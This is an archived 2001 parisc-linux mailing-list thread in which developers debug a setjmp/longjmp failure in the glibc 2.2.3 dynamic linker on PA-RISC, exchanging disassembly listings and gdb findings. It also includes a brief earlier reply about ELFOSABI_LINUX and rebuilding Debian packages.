NNTP-Posting-Date: Sat, 22 Nov 2014 01:34:55 +0000 (UTC)
Cc: "Matthew Wilcox" <willy@ldl.fc.hp.com>,
	<parisc-linux@parisc-linux.org>
To: "Ulrich Drepper" <drepper@cygnus.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri May  4 11:08:06 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from palrel1.hp.com (palrel1.hp.com [156.153.255.242])
	by dsl2.external.hp.com (Postfix) with ESMTP id 8D7FB482A
	for <parisc-linux@parisc-linux.org>; Fri,  4 May 2001 11:08:06 -0600 (MDT)
Original-Received: from adlmail.cup.hp.com (adlmail.cup.hp.com [15.0.100.30])
	by palrel1.hp.com (Postfix) with ESMTP
	id EC72011DC; Fri,  4 May 2001 10:08:05 -0700 (PDT)
Original-Received: from [15.0.100.219] (hpadl716.cup.hp.com [15.0.100.219])
	by adlmail.cup.hp.com (8.9.3 (PHNE_18546)/8.9.3 SMKit7.02) with SMTP id KAA08105;
	Fri, 4 May 2001 10:08:05 -0700 (PDT)
x-sender: cary@adlmail.cup.hp.com
x-mailer: Claris Emailer 2.0v3, January 22, 1998
Xref: news.gmane.org gmane.linux.ports.parisc:10974

>> There's no harm in claiming to use extensions that you really don't use 
>> -- even if there aren't any such extensions to use.
>
>There is no harm but I won't allow it. 

My statement was in response to a concern expressed by Matthew that a 
change to binutils would require rebuilding every single package:

> * Change binutils to produce binaries without ELFOSABI_LINUX set.  This
>   implies rebuilding every debian package we've built so far -- over
>   1100 source packages.  This means we'd miss our deadline of shipping
>   at the end of May.

I was trying to make the point that he could fix the tools (as you seem 
to prefer), but that binaries that have already been built will still 
work. They can be rebuilt at leisure (or not at all).

-cary




From - Thu Nov 08 21:17:31 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] glibc 2.2.3: setjmp/longjmp
Date: Fri, 4 May 2001 21:05:18 +0100
Lines: 40
Approved: news@gmane.org
Message-ID: <20010504210518.G32445@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620095 18806 80.91.229.3 (22 Nov 2014 01:34:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:34:55 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri May  4 14:05:36 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 1546C482A
	for <parisc-linux@parisc-linux.org>; Fri,  4 May 2001 14:05:35 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 14vlpG-000555-00
	for parisc-linux@parisc-linux.org; Fri, 04 May 2001 21:05:18 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:10975

i think i've traced the problem down to setjmp/longjmp not working.

here's what happens:

__libc_dlsym calls
dlerror_run(do_dlsym) calls
_dl_catch_error -> setjmp, then calls
do_dlsym which calls
_dl_lookup_symbol which fails and calls
_dl_signal_cerror which calls
_dl_signal_error which calls longjmp

At this point, we should expect to get back to where we called setjmp, however that appears to not work.  If I add:

  errcode = setjmp (c.env);
_dl_printf("after setjmp, errcode = %u\n", errcode);
  if (__builtin_expect (errcode, 0) == 0)

the output from my debug logs looks like:

__libc_dlsym gconv_end
after setjmp, errcode = 0
current_value = 0 0
in the if... *ref = 0
in the if... not checking ELFW(ST_BIND)
in _dl_signal_cerror, receiver = 0
_dl_signal_error(0, /home/willy/cvs/glibc-build/iconvdata/SJIS.so, undefined symbol: gconv_end)
_dl_signal_error: lcatch = 7ff01300
_dl_signal_error: about to longjmp to 7ff01308
dlerror_run: errstr = (null)
Segmentation fault

so it's returning to the _caller_ of _dl_catch_error instead.  Ugh.
I'll be trying to decode assembler now...

-- 
Revolutions do not require corporate support.




From - Thu Nov 08 21:17:31 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] glibc 2.2.3: setjmp/longjmp
Date: Fri, 4 May 2001 16:18:42 -0400 (EDT)
Lines: 15
Approved: news@gmane.org
Message-ID: <200105042018.QAA06091@hiauly1.hia.nrc.ca>
References: <20010504210518.G32445@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620095 18808 80.91.229.3 (22 Nov 2014 01:34:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:34:55 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: matthew@wil.cx (Matthew Wilcox)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri May  4 14:18:53 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 3BC17482A
	for <parisc-linux@parisc-linux.org>; Fri,  4 May 2001 14:18:52 -0600 (MDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.9.3/8.9.3) id QAA06091;
	Fri, 4 May 2001 16:18:42 -0400 (EDT)
In-Reply-To: <20010504210518.G32445@parcelfarce.linux.theplanet.co.uk> from "Matthew Wilcox" at May 4, 2001 09:05:18 pm
X-Mailer: ELM [version 2.4 PL25]
Xref: news.gmane.org gmane.linux.ports.parisc:10976

> i think i've traced the problem down to setjmp/longjmp not working.

My first guess would be the pic offset table register is not being
restored in longjmps into PIC code.  This must be done either in the
receiver or just before the longjmp.  Of course, the longjmp can come
from non-PIC code.  I am just about to submit a patch to fix a similar
problem with gcc's builtin_setjmp/longjmp on the PA for the 3.0 branch.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)




From - Thu Nov 08 21:17:31 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] glibc 2.2.3: setjmp/longjmp
Date: Fri, 4 May 2001 21:39:42 +0100
Lines: 16
Approved: news@gmane.org
Message-ID: <20010504213942.H32445@parcelfarce.linux.theplanet.co.uk>
References: <20010504210518.G32445@parcelfarce.linux.theplanet.co.uk> <200105042018.QAA06091@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620096 18810 80.91.229.3 (22 Nov 2014 01:34:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:34:56 +0000 (UTC)
Cc: Matthew Wilcox <matthew@wil.cx>, parisc-linux@parisc-linux.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri May  4 14:39:57 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 08D4B482A
	for <parisc-linux@parisc-linux.org>; Fri,  4 May 2001 14:39:56 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 14vmMZ-0005u6-00; Fri, 04 May 2001 21:39:43 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <200105042018.QAA06091@hiauly1.hia.nrc.ca>; from dave@hiauly1.hia.nrc.ca on Fri, May 04, 2001 at 04:18:42PM -0400
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:10977

On Fri, May 04, 2001 at 04:18:42PM -0400, John David Anglin wrote:
> My first guess would be the pic offset table register is not being
> restored in longjmps into PIC code.  This must be done either in the
> receiver or just before the longjmp.  Of course, the longjmp can come
> from non-PIC code.  I am just about to submit a patch to fix a similar
> problem with gcc's builtin_setjmp/longjmp on the PA for the 3.0 branch.

hmm.. longjmp() restores r3-r19, r27, r30, r2, then fr12-21.  should it
be restoring r29 too?  if so, no problem -- we don't need to save/restore
r19 anyway.

-- 
Revolutions do not require corporate support.




From - Thu Nov 08 21:17:31 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] glibc 2.2.3: setjmp/longjmp
Date: Fri, 4 May 2001 22:02:14 +0100
Lines: 26
Approved: news@gmane.org
Message-ID: <20010504220214.I32445@parcelfarce.linux.theplanet.co.uk>
References: <20010504210518.G32445@parcelfarce.linux.theplanet.co.uk> <200105042018.QAA06091@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620096 18813 80.91.229.3 (22 Nov 2014 01:34:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:34:56 +0000 (UTC)
Cc: Matthew Wilcox <matthew@wil.cx>, parisc-linux@parisc-linux.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri May  4 15:02:30 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id ACFC1482A
	for <parisc-linux@parisc-linux.org>; Fri,  4 May 2001 15:02:29 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 14vmiM-0006RF-00; Fri, 04 May 2001 22:02:14 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <200105042018.QAA06091@hiauly1.hia.nrc.ca>; from dave@hiauly1.hia.nrc.ca on Fri, May 04, 2001 at 04:18:42PM -0400
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:10978

On Fri, May 04, 2001 at 04:18:42PM -0400, John David Anglin wrote:
> > i think i've traced the problem down to setjmp/longjmp not working.
> 
> My first guess would be the pic offset table register is not being

Thinking about it some more, I don't see how this can be the case.  Here's
the assembly:

    ea18:       e8 42 11 c4     b,l 14300 <_setjmp>,rp
    ea1c:       6b dc 3c 91     stw ret0,-1b8(sr0,sp)
    ea20:       34 1a 00 02     ldi 1,r26
    ea24:       4b d3 3f 11     ldw -78(sr0,sp),r19
    ea28:       08 1c 02 43     copy ret0,r3
    ea2c:       08 03 02 58     copy r3,r24
    ea30:       2a 60 00 00     addil 0,r19,%r1
    ea34:       48 21 07 d0     ldw 3e8(sr0,r1),r1
    ea38:       e8 40 02 6c     b,l fb74 <_dl_dprintf>,rp

after calling longjmp, that _dl_dprintf doesn't get called.  I can't
explain that.

-- 
Revolutions do not require corporate support.




From - Thu Nov 08 21:17:31 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] glibc 2.2.3: setjmp/longjmp
Date: Fri, 4 May 2001 17:31:30 -0400 (EDT)
Lines: 25
Approved: news@gmane.org
Message-ID: <200105042131.RAA15852@hiauly1.hia.nrc.ca>
References: <20010504220214.I32445@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620096 18815 80.91.229.3 (22 Nov 2014 01:34:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:34:56 +0000 (UTC)
Cc: matthew@wil.cx, parisc-linux@parisc-linux.org
To: matthew@wil.cx (Matthew Wilcox)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri May  4 15:31:34 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 8EBFE482A
	for <parisc-linux@parisc-linux.org>; Fri,  4 May 2001 15:31:33 -0600 (MDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.9.3/8.9.3) id RAA15852;
	Fri, 4 May 2001 17:31:30 -0400 (EDT)
In-Reply-To: <20010504220214.I32445@parcelfarce.linux.theplanet.co.uk> from "Matthew Wilcox" at May 4, 2001 10:02:14 pm
X-Mailer: ELM [version 2.4 PL25]
Xref: news.gmane.org gmane.linux.ports.parisc:10979

> Thinking about it some more, I don't see how this can be the case.  Here's
> the assembly:
> 
>     ea18:       e8 42 11 c4     b,l 14300 <_setjmp>,rp
>     ea1c:       6b dc 3c 91     stw ret0,-1b8(sr0,sp)
>     ea20:       34 1a 00 02     ldi 1,r26
>     ea24:       4b d3 3f 11     ldw -78(sr0,sp),r19
>     ea28:       08 1c 02 43     copy ret0,r3
>     ea2c:       08 03 02 58     copy r3,r24
>     ea30:       2a 60 00 00     addil 0,r19,%r1
>     ea34:       48 21 07 d0     ldw 3e8(sr0,r1),r1
>     ea38:       e8 40 02 6c     b,l fb74 <_dl_dprintf>,rp
> 
> after calling longjmp, that _dl_dprintf doesn't get called.  I can't
> explain that.

Doesn't look like _setjmp comes back at all.  Put a break on ea18
and start stepping.  It might help to do a static link.

-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)




From - Thu Nov 08 21:17:31 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] glibc 2.2.3: setjmp/longjmp
Date: Fri, 4 May 2001 22:38:25 +0100
Lines: 11
Approved: news@gmane.org
Message-ID: <20010504223825.J32445@parcelfarce.linux.theplanet.co.uk>
References: <20010504220214.I32445@parcelfarce.linux.theplanet.co.uk> <200105042131.RAA15852@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620097 18818 80.91.229.3 (22 Nov 2014 01:34:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:34:57 +0000 (UTC)
Cc: Matthew Wilcox <matthew@wil.cx>, parisc-linux@parisc-linux.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri May  4 15:38:36 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 7E2E5482A
	for <parisc-linux@parisc-linux.org>; Fri,  4 May 2001 15:38:35 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 14vnHN-0007CO-00; Fri, 04 May 2001 22:38:25 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <200105042131.RAA15852@hiauly1.hia.nrc.ca>; from dave@hiauly1.hia.nrc.ca on Fri, May 04, 2001 at 05:31:30PM -0400
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:10980

On Fri, May 04, 2001 at 05:31:30PM -0400, John David Anglin wrote:
> Doesn't look like _setjmp comes back at all.  Put a break on ea18
> and start stepping.  It might help to do a static link.

this code is in the dynamic linker :-))

-- 
Revolutions do not require corporate support.




From - Thu Nov 08 21:17:31 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] glibc 2.2.3: setjmp/longjmp
Date: Fri, 4 May 2001 17:51:59 -0400 (EDT)
Lines: 15
Approved: news@gmane.org
Message-ID: <200105042151.RAA19009@hiauly1.hia.nrc.ca>
References: <20010504223825.J32445@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620097 18821 80.91.229.3 (22 Nov 2014 01:34:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:34:57 +0000 (UTC)
Cc: matthew@wil.cx, parisc-linux@parisc-linux.org
To: matthew@wil.cx (Matthew Wilcox)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri May  4 15:52:02 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id BDDB4482A
	for <parisc-linux@parisc-linux.org>; Fri,  4 May 2001 15:52:01 -0600 (MDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.9.3/8.9.3) id RAA19009;
	Fri, 4 May 2001 17:51:59 -0400 (EDT)
In-Reply-To: <20010504223825.J32445@parcelfarce.linux.theplanet.co.uk> from "Matthew Wilcox" at May 4, 2001 10:38:25 pm
X-Mailer: ELM [version 2.4 PL25]
Xref: news.gmane.org gmane.linux.ports.parisc:10981

> On Fri, May 04, 2001 at 05:31:30PM -0400, John David Anglin wrote:
> > Doesn't look like _setjmp comes back at all.  Put a break on ea18
> > and start stepping.  It might help to do a static link.
> 
> this code is in the dynamic linker :-))

Can you set a break on main, run to main, set the break in the
dynamic linker, then continue?

-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)




From - Thu Nov 08 21:17:31 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] glibc 2.2.3: setjmp/longjmp
Date: Fri, 4 May 2001 23:36:55 +0100
Lines: 37
Approved: news@gmane.org
Message-ID: <20010504233655.K32445@parcelfarce.linux.theplanet.co.uk>
References: <20010504223825.J32445@parcelfarce.linux.theplanet.co.uk> <200105042151.RAA19009@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620097 18822 80.91.229.3 (22 Nov 2014 01:34:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:34:57 +0000 (UTC)
Cc: Matthew Wilcox <matthew@wil.cx>, parisc-linux@parisc-linux.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri May  4 16:37:07 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id AD467482A
	for <parisc-linux@parisc-linux.org>; Fri,  4 May 2001 16:37:06 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 14voBz-0000Is-00; Fri, 04 May 2001 23:36:55 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <200105042151.RAA19009@hiauly1.hia.nrc.ca>; from dave@hiauly1.hia.nrc.ca on Fri, May 04, 2001 at 05:51:59PM -0400
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:10982

On Fri, May 04, 2001 at 05:51:59PM -0400, John David Anglin wrote:
> > On Fri, May 04, 2001 at 05:31:30PM -0400, John David Anglin wrote:
> > > Doesn't look like _setjmp comes back at all.  Put a break on ea18
> > > and start stepping.  It might help to do a static link.
> > 
> > this code is in the dynamic linker :-))
> 
> Can you set a break on main, run to main, set the break in the
> dynamic linker, then continue?

No, though this is probably due more to my lack of skill with gdb than
anything else.

I set a breakpoint on _dl_signal_error ok.
Then inspecting the jmpbuf indicates that it's returning to 4101434f

/proc/<pid>/maps indicates:
0000000041000000-000000004101a000 r-xp 0000000000000000 08:03 1754026    /home/willy/cvs/glibc-build/elf/ld.so

objdump --disassemble shows:

000143e0 <index>:
...
   143f4:       6b d3 3f c1     stw r19,-20(sr0,sp)

which is the middle of nowhere.  Actually, it's right _after_ __longjmp.
clearly it should be returning to 4100ea4c

Going back and setting a breakpoint on _dl_catch_error indicates that the
value being put at ((unsigned long *)c.env)[20] is 0x4101434F, so the jmpbuf
isn't being corrupted...

-- 
Revolutions do not require corporate support.




From - Thu Nov 08 21:17:31 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] glibc 2.2.3: setjmp/longjmp
Date: Fri, 4 May 2001 18:56:41 -0400 (EDT)
Lines: 12
Approved: news@gmane.org
Message-ID: <200105042256.SAA26474@hiauly1.hia.nrc.ca>
References: <20010504233655.K32445@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620098 18824 80.91.229.3 (22 Nov 2014 01:34:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:34:58 +0000 (UTC)
Cc: matthew@wil.cx, parisc-linux@parisc-linux.org
To: matthew@wil.cx (Matthew Wilcox)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri May  4 16:56:46 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id E3E89482A
	for <parisc-linux@parisc-linux.org>; Fri,  4 May 2001 16:56:45 -0600 (MDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.9.3/8.9.3) id SAA26474;
	Fri, 4 May 2001 18:56:42 -0400 (EDT)
In-Reply-To: <20010504233655.K32445@parcelfarce.linux.theplanet.co.uk> from "Matthew Wilcox" at May 4, 2001 11:36:55 pm
X-Mailer: ELM [version 2.4 PL25]
Xref: news.gmane.org gmane.linux.ports.parisc:10983

> which is the middle of nowhere.  Actually, it's right _after_ __longjmp.
> clearly it should be returning to 4100ea4c

In __longjmp.S, try changing `ldw     80(%r26), %rp' to `ldw     80(%r26), %r2'.Same in setjmp.S.  Possibly, rp is not defined.  This cause the above.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)




From - Thu Nov 08 21:17:31 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] glibc 2.2.3: setjmp/longjmp
Date: Fri, 4 May 2001 23:57:11 +0100
Lines: 64
Approved: news@gmane.org
Message-ID: <20010504235711.M32445@parcelfarce.linux.theplanet.co.uk>
References: <20010504223825.J32445@parcelfarce.linux.theplanet.co.uk> <200105042151.RAA19009@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620098 18825 80.91.229.3 (22 Nov 2014 01:34:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:34:58 +0000 (UTC)
Cc: Matthew Wilcox <matthew@wil.cx>, parisc-linux@parisc-linux.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri May  4 16:57:23 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 8ECF0482A
	for <parisc-linux@parisc-linux.org>; Fri,  4 May 2001 16:57:22 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 14voVb-0000db-00; Fri, 04 May 2001 23:57:11 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <200105042151.RAA19009@hiauly1.hia.nrc.ca>; from dave@hiauly1.hia.nrc.ca on Fri, May 04, 2001 at 05:51:59PM -0400
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:10984

taking a somewhat different approach:

    ea44:       e8 42 11 d4     b,l 14334 <_setjmp>,rp

00014334 <_setjmp>:
   14334:       6b c2 3f d9     stw rp,-14(sr0,sp)
   14338:       34 19 00 00     ldi 0,r25
   1433c:       37 de 00 80     ldo 40(sp),sp
   14340:       6b d3 3f c1     stw r19,-20(sr0,sp)
   14344:       e8 41 00 d8     b,l 163b8 <__sigsetjmp>,rp
   14348:       6b d3 3f 91     stw r19,-38(sr0,sp)
   1434c:       4b d3 3f 91     ldw -38(sr0,sp),r19
   14350:       4b c2 3f 59     ldw -54(sr0,sp),rp
   14354:       e8 40 c0 00     bv r0(rp)
   14358:       37 de 3f 81     ldo -40(sp),sp

000163b8 <__sigsetjmp>:
   163b8:       0f 43 12 80     stw  r3,0(sr0,r26)
   163bc:       0f 44 12 90     stw  r4,8(sr0,r26)
   163c0:       0f 45 12 98     stw  r5,c(sr0,r26)
   163c4:       6b 46 00 20     stw r6,10(sr0,r26)
   163c8:       6b 47 00 28     stw r7,14(sr0,r26)
   163cc:       6b 48 00 30     stw r8,18(sr0,r26)
   163d0:       6b 49 00 38     stw r9,1c(sr0,r26)
   163d4:       6b 4a 00 40     stw r10,20(sr0,r26)
   163d8:       6b 4b 00 48     stw r11,24(sr0,r26)
   163dc:       6b 4c 00 50     stw r12,28(sr0,r26)
   163e0:       6b 4d 00 58     stw r13,2c(sr0,r26)
   163e4:       6b 4e 00 60     stw r14,30(sr0,r26)
   163e8:       6b 4f 00 68     stw r15,34(sr0,r26)
   163ec:       6b 50 00 70     stw r16,38(sr0,r26)
   163f0:       6b 51 00 78     stw r17,3c(sr0,r26)
   163f4:       6b 52 00 80     stw r18,40(sr0,r26)
   163f8:       6b 53 00 88     stw r19,44(sr0,r26)
   163fc:       6b 5b 00 90     stw dp,48(sr0,r26)
   16400:       6b 5e 00 98     stw sp,4c(sr0,r26)
   16404:       6b 42 00 a0     stw rp,50(sr0,r26)
   16408:       37 53 00 b0     ldo 58(r26),r19
   1640c:       2e 70 12 2c     fstd,ma  fr12,8(sr0,r19)
   16410:       2e 70 12 2d     fstd,ma  fr13,8(sr0,r19)
   16414:       2e 70 12 2e     fstd,ma  fr14,8(sr0,r19)
   16418:       2e 70 12 2f     fstd,ma  fr15,8(sr0,r19)
   1641c:       2e 70 12 30     fstd,ma  fr16,8(sr0,r19)
   16420:       2e 70 12 31     fstd,ma  fr17,8(sr0,r19)
   16424:       2e 70 12 32     fstd,ma  fr18,8(sr0,r19)
   16428:       2e 70 12 33     fstd,ma  fr19,8(sr0,r19)
   1642c:       2e 70 12 34     fstd,ma  fr20,8(sr0,r19)
   16430:       2e 60 12 15     fstd  fr21,0(sr0,r19)
   16434:       e8 1e 0a d5     b,l 139a4 <__sigjmp_save>,r0
   16438:       08 00 02 40     nop

000139a4 <__sigjmp_save>:
